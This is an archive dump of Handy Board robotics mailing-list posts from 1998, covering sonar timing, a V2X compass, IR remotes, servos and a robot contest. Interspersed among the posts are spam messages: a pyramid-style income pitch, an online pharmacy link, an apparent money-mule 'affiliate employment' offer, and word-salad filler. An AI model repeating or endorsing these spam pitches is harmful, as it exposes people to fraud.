John Hatton ,"'Handyboard Mailing List' , 'Robot Board Mailing list' ","Thu, 26 Feb 1998 11:37:43 -0000",V2X Compass,"I have recently obtained a digital compass circuit as part of a clock (it lights an led that points north) but haven't yet tried to interface with it. I think it will be communicating via SPI but I'm not sure. The question I want to ask anybody with a V2X is what cpu does it use on the board ?. Thank for any help. John Hatton john_hatton@bigfoot.com ",0,0 Darth Vader ,handyboard@media.mit.edu,"Thu, 26 Feb 1998 10:50:54 -0600",Sonar for cheap,"A long time ago, someone had posted a link to a website that had information on how to make a sonar sensor pair for $10. Does anyone know where that site is? It must have been about 10-12 months ago. thanks! phil thehahns@nconnect.net ",0,0 vandeweg@parlance-ncs.com,Darth Vader ,"Thu, 26 Feb 1998 12:19:43 -0500",Re: Sonar for cheap,"> A long time ago, someone had posted a link to a website that had information > on how to make a sonar sensor pair for $10. Does anyone know where that site > is? It must have been about 10-12 months ago. > thanks! Yep, check out: http://www.wizard.org/sonardoc.html Mike Vande Weghe ",0,1 Jonathan Swaby ,"vandeweg@parlance-ncs.com, Darth Vader ","Thu, 26 Feb 1998 13:37:04 -0500",Re: Sonar for cheap,"Also. The Robot Builders Bonanza has a similar circuit. The price for the parts should be under $10.00. Has anyone tried this circuit? At 12:19 PM 2/26/98 -0500, Mike Vande Weghe wrote: >> A long time ago, someone had posted a link to a website that had information >> on how to make a sonar sensor pair for $10. Does anyone know where that site >> is? It must have been about 10-12 months ago. >> thanks! > >Yep, check out: > > http://www.wizard.org/sonardoc.html > > > Mike Vande Weghe > > ___________________________________________________________ ______________________________________________________ Jonathan Swaby 305 Sparks Bldg Computer Support Specialist 814-865-0693 Penn State University mailto:jfs10@psu.edu Department of Speech Communication http://cac.psu.edu/~jfs10 Department of Philosophy ______________________________________________________ ______ ",0,1 root ,"handyboard@media.mit.edu, rent-a-nerd@technologist.com","Thu, 26 Feb 1998 14:45:27 -0500",Re: Sonar for cheap,"That was probably my web page, the URL changed (my provider's doing) so its now http://www.wizard.org. (which I don't mind as that's my domain, but it confused the hell out of millions :) The old URL (which is no longer) was: http://www.vnet.net/wizorg. John ",0,1 Darth Vader ,handyboard@media.mit.edu,"Thu, 26 Feb 1998 13:58:39 -0600",thanks,"Thansk for the quick reply, everyone! phil ",0,0 root ,"jfs10@psu.edu, rent-a-nerd@technologist.com, vandeweg@parlance-ncs.com","Thu, 26 Feb 1998 15:52:29 -0500",Re: Sonar for cheap,">Also. The Robot Builders Bonanza has a similar circuit. The price for the parts should be under $10.00. Has anyone tried this circuit? Yeah, it doesn't work :) That's why I designed my circuit in the first place. I tore my hair out for a couple of weeks trying to figure out what I was doing wrong. I finally realized it wasn't me, it was the circuits in the book were just plain wrong. So instead of figuring out where the author messed up, for me it was just easier to redesign the darn thing. The writeup though in the book that goes along with the circuit seems to be pretty accurate. That was the information I used to build my circuit. John ",0,0 root ,"jfs10@psu.edu, rent-a-nerd@technologist.com, vandeweg@parlance-ncs.com","Thu, 26 Feb 1998 15:53:16 -0500",Re: Sonar for cheap,"... still a good book though- I recommend it highly :) ",0,0 """Fred G. Martin"" ",Skye Legon ,"Thu, 26 Feb 1998 16:55:30 -0500",Re: Sonar questions (technical ones!) ,"Good questions!! > 1: The speed of sound has been widely quoted to be 0.9 ft/ms (274m/s), > but my Physics text lists it as 343 m/s (at 20C/70F), which is about > 1.13 ft/ms, or 25% faster. So why the 0.9 value (or just cuz > the Polaroid guys say so)? The polaroid number/widely quoted number is 0.9 MILLISECONDS PER FOOT -- or 1.11 ft/ms. hence the conversion matches! I think also I have this wrong on my HB sonar page! This confused me for a while too. > 2: The sonar routines (e.g. sonar_sample()) return the distance as an > int, meaning the greatest round-trip distance possible is 32768 > half-microsecs, or 8192 microsecs one-way. By my math, 8.2ms is > about 3m (10 ft). Is this our max distance? Any way to improve > this? Yes, this is correct. The routines would have to be smarter to deal with longer time periods/distances. > 3: My sonar works well, but about 10% of the time it returns a spurious > low value (around 2200 counts/8 inches), even if nothing has moved > or changed in the environment. I have written a kludge to simply > re-pulse if it receives such a result, which works fine, but it's > ugly and I'm just treating the symptom, not the cause. Any ideas > why this is? (I'm using sonar_closeup(), BTW) I've always chalked this up to ""sonar is flaky."" i haven't played with it enough to better characterize it. anyone who has some more sonar experience would be welcome to contribute observations here. > 4: I'm confused by the guts of the sonar routines. The start_time is > read from the system TCNT register as a 16-bit integer (max 32768 > counts). If TCNT increments 2,000,000 counts/sec, does this mean > TCNT rolls over every 16ms? If so, it seems quite likely that the > counter will roll over while we're waiting for a pulse to return > depending on when we peek it for the start_time. However, the > routines work fine, so can someone please clear up my > misunderstanding? As a 16-bit number TCNT's range is 0 to 65535, or 32.768 ms of time. I don't think I quite understand your question here, but remember that the actual time of TCNT when the ping returns is automatically captured by the 6811 timer system and stored in timer 3's TIC3 register. So while we're waiting for the return pulse, it doesn't matter how long after it occurs that we make the calculation, b/c the value is already captured. Fred ",0,0 Skye Legon ,fredm@media.mit.edu,"Thu, 26 Feb 1998 18:29:41 -0500",Re: Sonar questions (technical ones!),"Fred wrote: > The polaroid number/widely quoted number is 0.9 MILLISECONDS > PER FOOT -- or 1.11 ft/ms. hence the conversion matches! > > I think also I have this wrong on my HB sonar page! This confused me > for a while too. Yes! I have been working from your sonar page, but as a sanity check I checked the Polaroid sheet again. Whoops! At least we were both tripped up by it. I'm used to seeing the ""speed of sound"" (ft/ms) quoted, not the ""slowness of sound"" (ms/ft)! aside: Using my trusty tape measure I calculated a speed of 1.09 ft/ms (330 m/s) so it *is* pretty close. > > 4: I'm confused by the guts of the sonar routines. The start_time is > > read from the system TCNT register as a 16-bit integer (max 32768 > > counts). If TCNT increments 2,000,000 counts/sec, does this mean > > TCNT rolls over every 16ms? If so, it seems quite likely that the > > counter will roll over while we're waiting for a pulse to return > > depending on when we peek it for the start_time. However, the > > routines work fine, so can someone please clear up my > > misunderstanding? > > As a 16-bit number TCNT's range is 0 to 65535, or 32.768 ms of time. Aren't IC 16-bit integers only signed, and therefore -32k to +32k? Does it thus return times from -16ms to +16ms, 32ms total? Or is this somehow an unsigned integer? I know signed/unsigned integers differ only in the interpretation of the sign bit, but how does *IC* interpret this 16-bit time? > I don't think I quite understand your question here, but remember that > the actual time of TCNT when the ping returns is automatically > captured by the 6811 timer system and stored in timer 3's TIC3 > register. > > So while we're waiting for the return pulse, it doesn't matter how > long after it occurs that we make the calculation, b/c the value is > already captured. True, but we aren't *initializing* the timer to zero when we send the pulse, are we? It is my understanding that we only *sample* the timer when the pulse leaves, and then have it automatically sampled again when it returns. Thus subtraction yields the time-of-flight. But (if this is true) what happens if we send the pulse (and sample the timer) just before it rolls over? Then the return time is recorded *after* the rollover and our time-of-flight is boned. Or does it not work this way at all? Thanks for the prompt reply! Cheers, Skye. +-----------------------------------------+----------------------------+ | Skye Legon | University of Waterloo | | Systems Design Engineering | __/ __/ __/ __/ | | Pattern Analysis & Machine Intelligence | __/ __/ __/ __/ __/ | | 143 Columbia St. West, Unit E-4 | __/ __/ __/ ____/ __/ | | Waterloo Ontario CANADA N2L 3L2 | __/__/__/ __/__/\\__/__/ | | +1(519)888-9249 | ______/ ___/ \\___/ | | slegon@uwaterloo.ca | DC 2620, 888-4567 x5192 | +-----------------------------------------+----------------------------+ ",0,0 Thomas Hauri ,handyboard@media.mit.edu,"Fri, 27 Feb 1998 08:39:49 +0100",Help for problems with Polaroid 6500 sonar board,"Hi all if anyone has problems using the 6500 series for distances below 35cm by using the binh signal I have a possible solution to the problem. We also expierienced problems using the sensors for distances between 15cm and 40cm. We finally found out that the digital chip (TL851) on the 6500 board gets huge voltage spikes making it detect an echo even if there was none. We solved the problem by adding an additional capacitior to the powersupply. THE REWORK Solder a tantal c (1uF) directly to pin 3(Gnd) and pin 1 (+) of chip U2 (TL851). This will filter the spikes keeping them from droping below 2.5 V. If anyone has a better way of solving this problems please tell me. cu TOM ",0,0 John Hatton ,'Arthur Elsenaar' ,"Fri, 27 Feb 1998 09:12:30 -0000",RE: V2X Compass,"I didn't actually buy the clock, the company that I work for was scrapping a load of stuff from one of it's buildings and these clocks were some of it. The company said if we gave 2 pounds to charity we could have a clock. They have been very popular so there are none left. I am hoping to make use of the compass section as a heading indicator for a walker robot but I haven't worked out if the cpu is spi compatible or if it uses the same commands as the V2X. The V2X only costs 50 USD from Jameco and these clock were probably sold for 100 - 200 GBP (166 - 333 USD) so I was just lucky. John Hatton john_hatton@bigfoot.com >---------- >From: Arthur Elsenaar[SMTP:artelse@media-gn.nl] >Sent: 26 February 1998 12:24 >To: John Hatton >Subject: Re: V2X Compass > >Hi John, > > >>I have recently obtained a digital compass circuit as part of a clock >>(it lights an led that points north) but haven't yet tried to interface >>with it. I think it will be communicating via SPI but I'm not sure. > >I was wondering, where did you buy this compass and what did it cost? > >Thanks for replying, Arthur > >............................................................ >. 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Everything works, I can run the motors,load compass.icb and compass.c and the lcd will print the heading constantly when I type v2x( ); at the command line. My problem is lack of knowledge programming. I would like to know if any one has a complete program that I could run and learn from. Just a program that I could have my robot go one direction for a certain number fo wheel rotations or length of time then turn another direction ect,ect,ect. I think I could make changes rotations and directions ect. if I had a working program to start with and study. Thanks Terry P.Gathright 669@worldnet.att.net ---------- > From: John Hatton > To: 'Handyboard Mailing List' ; 'Robot Board Mailing list' > Subject: V2X Compass > Date: Thursday, February 26, 1998 5:37 AM > > I have recently obtained a digital compass circuit as part of a clock > (it lights an led that points north) but haven't yet tried to interface > with it. I think it will be communicating via SPI but I'm not sure. > > The question I want to ask anybody with a V2X is what cpu does it use on > the board ?. > > Thank for any help. > > John Hatton > > john_hatton@bigfoot.com",0,0 Madeleine Fair ,,,an email of interest,"Untitled Document WATCH YOUR IN.COME GR.OW EXPON= E.NTIA= LLY OVER TIME EVER HEAR OF A SE.LF-PER.= PETUATING IN= COME STRU.<= /span>CTURE? EVER BEEN OFFE.RED AN ENDLESS AMOU.NT OF FR.EE BO.NUS ENTRIE.S THAT KEEP MULTIP.LYING ALL ON THEIR OWN? JUST LAU.NCHED ! THIS IS GOING TO BE HUG.E ! NOW SPR.EADI= NG IN 5 COUNTRI.ES SE.CURE YOUR PO.SITION TODAY 59U.<= span class=3D""style25"">S.D/PO.SITION THIS ISN=92T A GET RI.CH QUI.= CK SCHE.ME ! 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I tried to deactivate it then activate it and retrieve the data but I still get 255 when I press a different button on my remote. I am using an all in one remote which is compatible to the sony remotes. I also have a pcbug11 program and don't understand a thing about that. I need help in the next few days.thanks Chris forgetful@lisco.net ",0,0 Skye Legon ,Deanna Klobnak ,"Sun, 01 Mar 1998 19:40:34 -0500",Re: ir sensor,"> I am having troubles getting my ir sensor to work I did everything > that is said in the technical reference and when I try to retrieve the > data all I get is 255 the first time and 0 all the other times. I > tried to deactivate it then activate it and retrieve the data but I > still get 255 when I press a different button on my remote. I am using > an all in one remote which is compatible to the sony remotes. I also > have a pcbug11 program and don't understand a thing about that. I need > help in the next few days.thanks Make sure you don't have any bright light shining down on your board. Too much light saturates the sensor and you get 0 or 255 all the time. I thought my IR port was bust for a long time until I turned off my desk lamp one day. I hope your solution is this easy! Cheers, Skye. +-----------------------------------------+----------------------------+ | Skye Legon | University of Waterloo | | Systems Design Engineering | __/ __/ __/ __/ | | Pattern Analysis & Machine Intelligence | __/ __/ __/ __/ __/ | | 143 Columbia St. West, Unit E-4 | __/ __/ __/ ____/ __/ | | Waterloo Ontario CANADA N2L 3L2 | __/__/__/ __/__/\\__/__/ | | +1(519)888-9249 | ______/ ___/ \\___/ | | slegon@uwaterloo.ca | DC 2620, 888-4567 x5192 | +-----------------------------------------+----------------------------+ ",0,0 Will Bain ,handyboard@media.mit.edu,"Sun, 01 Mar 1998 18:51:49 -0700",Re: ir sensor,"At 06:08 PM 3/1/98 -0600, Chris wrote: >I am having troubles getting my ir sensor to work I did everything that is said in the technical reference and when I try to retrieve the data all I get is 255 the first time and 0 all the other times. I tried to deactivate it then activate it and retrieve the data but I still get 255 when I press a different button on my remote. I am using an all in one remote which is compatible to the sony remotes. I also have a pcbug11 program and don't understand a thing about that. I need help in the next few days.thanks The all-in-one remotes usually only send Sony-compatible signals after setting the proper mode. I had to refer to my owner's manual to figure out which buttons to push to put it in Sony mode. Make sure yours is set properly. Good luck. --Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, If the world should blow itself up, the last Will Bain, audible voice would be that of an expert & Tatoosh saying it can't be done. --Peter Ustinov ",0,0 Will Bain ,handyboard@media.mit.edu,"Sun, 01 Mar 1998 18:53:49 -0700",Polaroid sonar module connector,"Does anyone know where I can buy a couple of the sockets that are designed to accomodate the flat cable from the Polaroid sonar modules? Thanks. --Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, If the world should blow itself up, the last Will Bain, audible voice would be that of an expert & Tatoosh saying it can't be done. --Peter Ustinov ",0,0 Randy Sargent ,rhartley@amug.org,"Sun, 01 Mar 1998 17:57:00 -0800",Re: downloaded,"Hi German, I'm not sure why this message got re-forwarded to the handyboard mailing list. I was cc'd on the key that our order department e-mailed to you last week; if you still have not received it please let me know. We appreciate everyone's patience while we got our new credit card system up and running with our bank. (It's running smoothly now). -- Randy ------------------------------------------ rhartley@amug.org wrote: ... > >> -----Message d'origine----- > >> De: German Madinabeitia [SMTP:german@siapi.es] > >> Date: jeudi 19 février 1998 17:35 > >> À: HANDYBOARD > >> Objet: downloaded > >> > >> Finaly I have got to download pcload in my HB!!!! > >> You are rigth, I´ve load in a Macintosh CI. > >> Now with IC system in the board, I can work in my Mac G3. ?:-( . > >> Fred, thanks for all. ... > President > http://www.azcottenterprises.com > webmaster@azcottenterprises.com -- ---------------------------------------------------------------- Randy Sargent Newton Research Labs President Robotic Systems and Software rsargent@newtonlabs.com http://www.newtonlabs.com/ ",0,1 Deanna Klobnak ,handyboard@media.mit.edu,"Sun, 01 Mar 1998 21:36:52 -0600",IR sensor,"I am having troubles getting my ir sensor to work I did everything that is said in the technical reference and when I try to retrieve the data all I get is 255 the first time and 0 all the other times. I tried to deactivate it then activate it and retrieve the data but I still get 255 when I press a different button on my remote. I am using an all in one remote which is compatible to the sony remotes. I also have a pcbug11 program and don't understand a thing about that. I need help in the next few days.thanks Chris Frost forgetful@lisco.net ",0,0 Rosario Daugherty ,handyboard@media.mit.edu,"Sun, 01 Mar 1998 23:43:21 -0500","The rest of the world lives to eat, while I eat to live","and telegraphy on dab on mauve try mindanao but fomalhaut ",1,0 Steve Palmer ,handyboard@media.mit.edu,,in.Serv.Inc proudly introduces a new affiliate employment-program,"Fin.Serv.Inc proudly introduces a new affiliate employment-program. Our Company offers its services to Internet and offshore companies. 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As an ex-sailor, one of the major consideration in using magnetic compasses is deviation, and on a small bot, the deviation would vary due to the changing electromagnetic fields. So have you turned on the compass, and watched to see if the reading varyied if the motors turn on and off? Just wanted to know. Thanks Bill James | work: 972.480.2306 Product Test Specialist | Pager: 972.597.6201 w-james2@ti.com Precision Analog & Interface Department Polymath in Training | Have Spacesuit will Travel ------------------ Original text From: 669@worldnet.att.net, on 2/28/98 11:17 AM: John, My v2x has these numbers on the cpu 6448 PN11096 V2XC JJJ I have a handyboard , a v2x compass and small robot platform with left and right steering motors. Everything works, I can run the motors,load compass.icb and compass.c and the lcd will print the heading constantly when I type v2x( ); at the command line. My problem is lack of knowledge programming. I would like to know if any one has a complete program that I could run and learn from. Just a program that I could have my robot go one direction for a certain number fo wheel rotations or length of time then turn another direction ect,ect,ect. I think I could make changes rotations and directions ect. if I had a working program to start with and study. Thanks Terry P.Gathright 669@worldnet.att.net ---------- > From: John Hatton > To: 'Handyboard Mailing List' ; 'Robot Board Mailing list' > Subject: V2X Compass > Date: Thursday, February 26, 1998 5:37 AM > > I have recently obtained a digital compass circuit as part of a clock > (it lights an led that points north) but haven't yet tried to interface > with it. I think it will be communicating via SPI but I'm not sure. > > The question I want to ask anybody with a V2X is what cpu does it use on > the board ?. > > Thank for any help. > > John Hatton > > john_hatton@bigfoot.com",0,0 Stephen Michael ,'Handyboard Mailing List' ,"Mon, 02 Mar 1998 08:58:05 -0700",Sonar Multiplexor Question,"To anyone on the list: I would like to drive 3-4 transducers from a single Polaroid sonar ranging unit. Adam Cox posted a circuit for doing this on the HandyBoard page -- I have a few questions regarding this and possible alternative solutions. Has anyone implemented this or some other sonar multiplexor on the HandyBoard? Any feedback? Also, in Adam Cox's solution, there is a note to the effect that, to avoid damage to the Ranging Unit, a single transducer must always be switched into the circuit. Does this mean that, while transitioning between transducers, that two transducers will be switched into the circuit (if only for a brief moment)? Also, if I read this correctly, Adam Cox's solution will take four additional digital outputs (in addition to two already needed to interface the HandyBoard to the Polaroid ranging unit). It looks like a prerequisite for implementing this solution will be to expand the # of HandyBoard digital outputs. Does anyone have a sonar-multiplexor solution that doesn't take up so many additional digital outputs? Any suggestions or feedback will be greatly appreciated. The URL for the multiplexor is: http://lcs.www.media.mit.edu/groups/el/Projects/handy-board/software/contrib/adam/mxducr1.gif Thank you! Stephen Michael ----------------------- Stephen.Michael@mci.com ",0,1 Vader ,"stephen.michael@mci.com, 'Handyboard Mailing List' ","Mon, 02 Mar 1998 13:39:01 -0600",Re: Sonar Multiplexor Question,">To anyone on the list: > >I would like to drive 3-4 transducers from a single Polaroid >sonar ranging unit. Adam Cox posted a circuit for doing this >on the HandyBoard page -- I have a few questions regarding >this and possible alternative solutions. Ive never done this before, but couldnt you do this? Buy a multiplexer that will take 2 outputs and multiplex it to 4 outputs, since you will only be driving one at a time. To each individual output of the multiplex, wire the power to one outputting transducer and one inputting transducer, and wire all of the recievers to the reciever portion of the interface, and all the transmitters to the transmitter and of the interface. Using the multiplexer, you are guaranteed that only one multiplexing pair will be on at a time, uless you have a faulty chip. Again, I have never worked with Polaroid sensors, but this does work with motors, ETC Phil ",0,0 Skye Legon ,handyboard@media.mit.edu,"Mon, 02 Mar 1998 17:12:30 -0500",Re: Sonar Multiplexor Question," >To anyone on the list: > >I would like to drive 3-4 transducers from a single Polaroid >sonar ranging unit. Adam Cox posted a circuit for doing this >on the HandyBoard page -- I have a few questions regarding >this and possible alternative solutions. I notice that Adam's circuit uses all 4 available SCI outputs to select the transducer, but the sonar board itself requires two of them already. Why not just get a 2-to-4 line demultiplexor, and use the remaining 2 SCI outputs to select the transducer? (i.e. 00,01,10,11) If you can't find one ('139 I believe) a demultiplexor can be easily made out of a couple of NOT gates and a quad NAND gate (or quad AND if you need active high outputs). I have a question: why does Adam use open-collector NOT gates with pull-up resistors? Why not just use a totem-pole chip? Any advantage? Cheers, Skye. +-----------------------------------------+----------------------------+ | Skye Legon | University of Waterloo | | Systems Design Engineering | __/ __/ __/ __/ | | Pattern Analysis & Machine Intelligence | __/ __/ __/ __/ __/ | | 143 Columbia St. West, Unit E-4 | __/ __/ __/ ____/ __/ | | Waterloo Ontario CANADA N2L 3L2 | __/__/__/ __/__/\\__/__/ | | +1(519)888-9249 | ______/ ___/ \\___/ | | slegon@uwaterloo.ca | DC 2620, 888-4567 x5192 | +-----------------------------------------+----------------------------+ ",0,0 Mollie Person ,handyboard@media.mit.edu,"Mon, 02 Mar 1998 17:31:36 -0100",All products for your health!,"http://ildsai.pillscrew.info/?70089392 Suffering from pain, depression or heartburn? We'll help you! All verified dr@gs collected at one LICENSED online store! Great choice of wonderful meds to give you long-awaited relief! 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In addition, I don't beleive anyone has yet reported that they damaged their ranger this way. If anyone has believed they damaged their ranger by not connecting a transducer to it, please correct me. ----------- ericson mar Master of Engineering Candidate Project: Mobile Robotics mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- On Mon, 2 Mar 1998, Stephen Michael wrote: > To anyone on the list: > > I would like to drive 3-4 transducers from a single Polaroid > sonar ranging unit. Adam Cox posted a circuit for doing this > on the HandyBoard page -- I have a few questions regarding > this and possible alternative solutions. > > Has anyone implemented this or some other sonar multiplexor > on the HandyBoard? Any feedback? > > Also, in Adam Cox's solution, there is a note to the effect > that, to avoid damage to the Ranging Unit, a single transducer > must always be switched into the circuit. Does this mean that, > while transitioning between transducers, that two transducers > will be switched into the circuit (if only for a brief moment)? > > Also, if I read this correctly, Adam Cox's solution will take > four additional digital outputs (in addition to two already > needed to interface the HandyBoard to the Polaroid ranging > unit). It looks like a prerequisite for implementing this > solution will be to expand the # of HandyBoard digital outputs. > > Does anyone have a sonar-multiplexor solution that doesn't > take up so many additional digital outputs? > > Any suggestions or feedback will be greatly appreciated. > > The URL for the multiplexor is: > http://lcs.www.media.mit.edu/groups/el/Projects/handy-board/software/contrib/adam/mxducr1.gif > > Thank you! > Stephen Michael > ----------------------- > Stephen.Michael@mci.com > ",0,1 Vishal Lastra ,handyboard@media.mit.edu,"Mon, 02 Mar 1998 17:24:48 -0700",Re: your AMBtEeN,"Hi Look, this information might be pretty interesting for you A X L V V P C m a e I A r I b n v A L o A i a i G I z L e x t R U a I n ra A M c S http://www.hasoretana.com up the cry, and it echoed across the valley. Many wondering eyes looked up, though as yet nothing could be seen except from the southern shoulders of the Mountain. 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I'll let you know how it turns out when I get a workable code loaded. Terry P. Gathright ---------- > From: Bill James > To: 669@worldnet.att.net; 'Handyboard Mailing List' ; John Hatton ; 'RobotBoard Mailing list' > Subject: Re: V2X Compass > Date: Monday, March 02, 1998 9:15 AM > > I have a question for you, how much does the compass deviate when the motors > turn on. As an ex-sailor, one of the major consideration in using magnetic > compasses is deviation, and on a small bot, the deviation would vary due to the > changing electromagnetic fields. So have you turned on the compass, and watched > to see if the reading varyied if the motors turn on and off? > > Just wanted to know. > Thanks > > Bill James | work: 972.480.2306 > Product Test Specialist | Pager: 972.597.6201 > w-james2@ti.com > Precision Analog & Interface Department > > Polymath in Training | Have Spacesuit will Travel > > ------------------ > Original text > > From: 669@worldnet.att.net, on 2/28/98 11:17 AM: > John, > My v2x has these numbers on the cpu 6448 > PN11096 > V2XC JJJ > I have a handyboard , a v2x compass and small robot platform with left and > right steering motors. Everything works, I can run the motors,load > compass.icb and compass.c and the lcd will print the heading constantly > when I type v2x( ); at the command line. > My problem is lack of knowledge programming. I would like to know if any > one has a complete program that I could run and learn from. > Just a program that I could have my robot go one direction for a certain > number fo wheel rotations or length of time then turn another direction > ect,ect,ect. I think I could make changes rotations and directions ect. if > I had a working program to start with and study. > Thanks > Terry P.Gathright > 669@worldnet.att.net > > ---------- > > From: John Hatton > > To: 'Handyboard Mailing List' ; 'Robot Board > Mailing list' > > Subject: V2X Compass > > Date: Thursday, February 26, 1998 5:37 AM > > > > I have recently obtained a digital compass circuit as part of a clock > > (it lights an led that points north) but haven't yet tried to interface > > with it. I think it will be communicating via SPI but I'm not sure. > > > > The question I want to ask anybody with a V2X is what cpu does it use on > > the board ?. > > > > Thank for any help. > > > > John Hatton > > > > john_hatton@bigfoot.com",0,0 Ecole Louis de Broglie - Promotion 1999 ,"""'handyboard@media.mit.edu'"" ","Tue, 03 Mar 1998 15:28:47 +0100",Several different questions,"Hello everybody, I'm a new owner of the handy board and I have sereval problems to use the outputs and, as I'm new on the mailing list, I may ask questions already asked before or stupid questions so I apologize in advance. Today, I have several different questions which are : 1 ) Is it possible to link 2 handy board thanks to the serial port ? If possible, please be so kind to explain me (I want to transmit not only characters but also float and double so I think the program called serialio.c is not enough and I don't see hopw to use this base of code). 2 ) Is the last version of IC compatible with former ones (i.e. if I write a program with the DOS version of IC, will it run on the last one ) ? 3 ) I want to use the port D0..7 of the handy board to communicate with my own external expansion board but many questions appear : 31) Is it possible to run the handy board without the LCD screen ? If possible, how could I do this ? 32 ) How could I write something in an output (I don't understand the way of working of the poke function) : 321 ) How to write in Port As and R/W of the handy board (if possible) ? 322 ) same question with Port D0..7 . 323 ) Is there a way to be sure that I have the good value on the port ? Sorry to ask all these questions in one single time. Hope someone could answer one or more question, Thanks in advance for any help ..... RC99 Hope the force will be with you !!!!! ",0,0 """ED Spike, E&CE Dept."" ",Skye Legon ,"Tue, 03 Mar 1998 09:31:30 -0500",Re: Sonar Multiplexor Question ,"My $0.02 Transducers poled in sequence can us a count to four (or more) circuit/chip. One digital output can be used to advance the count. On Mon, 2 Mar 1998, Skye Legon wrote: > >To anyone on the list: > > > >I would like to drive 3-4 transducers from a single Polaroid > >sonar ranging unit. Adam Cox posted a circuit for doing this > >on the HandyBoard page -- I have a few questions regarding > >this and possible alternative solutions. > > I notice that Adam's circuit uses all 4 available SCI outputs to select > the transducer, but the sonar board itself requires two of them already. > Why not just get a 2-to-4 line demultiplexor, and use the remaining 2 > SCI outputs to select the transducer? (i.e. 00,01,10,11) If you can't > find one ('139 I believe) a demultiplexor can be easily made out of > a couple of NOT gates and a quad NAND gate (or quad AND if you need > active high outputs). > > I have a question: why does Adam use open-collector NOT gates with > pull-up resistors? Why not just use a totem-pole chip? Any advantage? > > Cheers, Skye. > > > +-----------------------------------------+----------------------------+ > | Skye Legon | University of Waterloo | > | Systems Design Engineering | __/ __/ __/ __/ | > | Pattern Analysis & Machine Intelligence | __/ __/ __/ __/ __/ | > | 143 Columbia St. West, Unit E-4 | __/ __/ __/ ____/ __/ | > | Waterloo Ontario CANADA N2L 3L2 | __/__/__/ __/__/\\__/__/ | > | +1(519)888-9249 | ______/ ___/ \\___/ | > | slegon@uwaterloo.ca | DC 2620, 888-4567 x5192 | > +-----------------------------------------+----------------------------+ --------------------------------------------------------------------- Ed Spike ",0,0 Stephen Michael ,"""ED Spike, E&CE Dept."" ","Tue, 03 Mar 1998 07:59:37 -0700",Re: Sonar Multiplexor Question,"Ed, I don't understand your response, but it sounds interesting. Can you elucidate? Stephen stephen.michael@mci.com ED Spike, E&CE Dept. wrote: > > My $0.02 > Transducers poled in sequence can us a count to four (or more) circuit/chip. > One digital output can be used to advance the count. ",0,0 Makenzie ,handyboard@media.mit.edu,"Tue, 03 Mar 1998 08:56:19 -0500",zip back your mental energy,"! shell try cubbyhole try candlelit may sour try impunity ",1,0 owen popplestone ,handyboard@media.mit.edu,"Tue, 03 Mar 1998 12:13:18 -0800",LCD,"Can anyone suggest a good place to get a ""bolt in"" (I'm a car guy!)LCD that fits the handyboard nicely?? Also , does anyone know of a good parts supplier in Canada??? my local supplier can't supply me with some of the stuff... thanks Owen Popplestone ",0,0 Stephen Michael ,'Handyboard Mailing List' ,"Tue, 03 Mar 1998 13:25:42 -0700",Servo Question,"To anyone who can help: I wish to setup a panning sensor array for my platform using an RC servo, and I have some questions on experiences with servo brands. I know that Futaba servos are well respected, but they are also expensive. Has anyone had any (positive or negative) experiences with Cirrus or Hitec servos? Any feedback is welcome, Stephen --------- Stephen.Michael@mci.com ",0,0 Barry Brouillette ,"stephen.michael@mci.com, handyboard@media.mit.edu","Tue, 03 Mar 1998 17:01:01 -0500",Re: Servo Question,"I've had very good luck with the Cirrus CS-70 which is basically a Futaba S148 replacement. It costs less than $10 and is available mailorder from Hobby Shack (800) 854-8471. I've modified a bunch of these to act as wheel drive motors for small robots and haven't had a problem with any of them. They have an even cheaper one, the CS-50 which should work fine for a low-mass sensor array panning application. -- Barry ",0,0 Skye Legon ,stephen.michael@mci.com,"Tue, 03 Mar 1998 17:12:31 -0500",Re: Servo Question,"> I know that Futaba servos are well respected, > but they are also expensive. Has anyone had > any (positive or negative) experiences with > Cirrus or Hitec servos? I have a sonar mounted on a panning servo, and I just bought an el-cheapo Cirrus CS-50. (It is functionally equivalent to a JR/Hitec JR-507 or HS-300). It works fine, although it is a noisy little bugger (but other servos don't seem much better). It has enough torque to move a transducer around, and has a decent transit time (42.3 oz-in and 0.16s/60 deg at 4.8v). I say go for it. Cheers, Skye. +-----------------------------------------+----------------------------+ | Skye Legon | University of Waterloo | | Systems Design Engineering | __/ __/ __/ __/ | | Pattern Analysis & Machine Intelligence | __/ __/ __/ __/ __/ | | 143 Columbia St. West, Unit E-4 | __/ __/ __/ ____/ __/ | | Waterloo Ontario CANADA N2L 3L2 | __/__/__/ __/__/\\__/__/ | | +1(519)888-9249 | ______/ ___/ \\___/ | | slegon@uwaterloo.ca | DC 2620, 888-4567 x5192 | +-----------------------------------------+----------------------------+ ",0,0 Bob Avanzato ,handyboard@media.mit.edu,"Tue, 03 Mar 1998 17:10:47 -0500",robot contest at Penn State,"Hi All, The Penn State Abington College (Abington, Pa -- Phila., PA suburb) will host a preliminary fire-fighting robot contest on Sat, April 4, 1998 at 3pm. The fire-fighting contest is based on rules developed by Trinity College Fire-fighting Robot Contest Program (see www.trincoll.edu/~robot). We will basically apply the same rules as developed by Trinity except that our maze walls will be 10"" high instead of 13"" high -- this is to improve visibility of robots by spectators. The robot max height is still 12.25"" but we are requiring that the robots in the Penn state contest do not look over the walls. The contest is to prepare robots for the Trinity college event (Hartford, Conn) on April 18-19. The Penn State robot contest is open to all ages (you do not have to be a student) as participants -- there is no registration fee (although you must register) and there will be prizes awarded. The event is open to the public as spectators as well (no charge). More details soon. Please email me if you are interested in participating. We currently have 3 teams of Penn State freshmen and sophomores registered as well as several teams of high school students from the Phila. area (the majority using HB's and LEGO's) -bob Bob Avanzato Assoc. Prof. of Engr Penn State Abington ",0,0 Latu Matakimoana Fifita ,handyboard@media.mit.edu,"Tue, 03 Mar 1998 16:42:44 -0800",(no subject),"I am sorry, but I want my address to take off from the list because I got almost about everybody's mail. thanx, latu fifita ",0,0 Will Bain ,handyboard@media.mit.edu,"Tue, 03 Mar 1998 18:21:00 -0700",Cheap Lego gear motors,"NEWS FLASH! Any of you who, like myself, have been 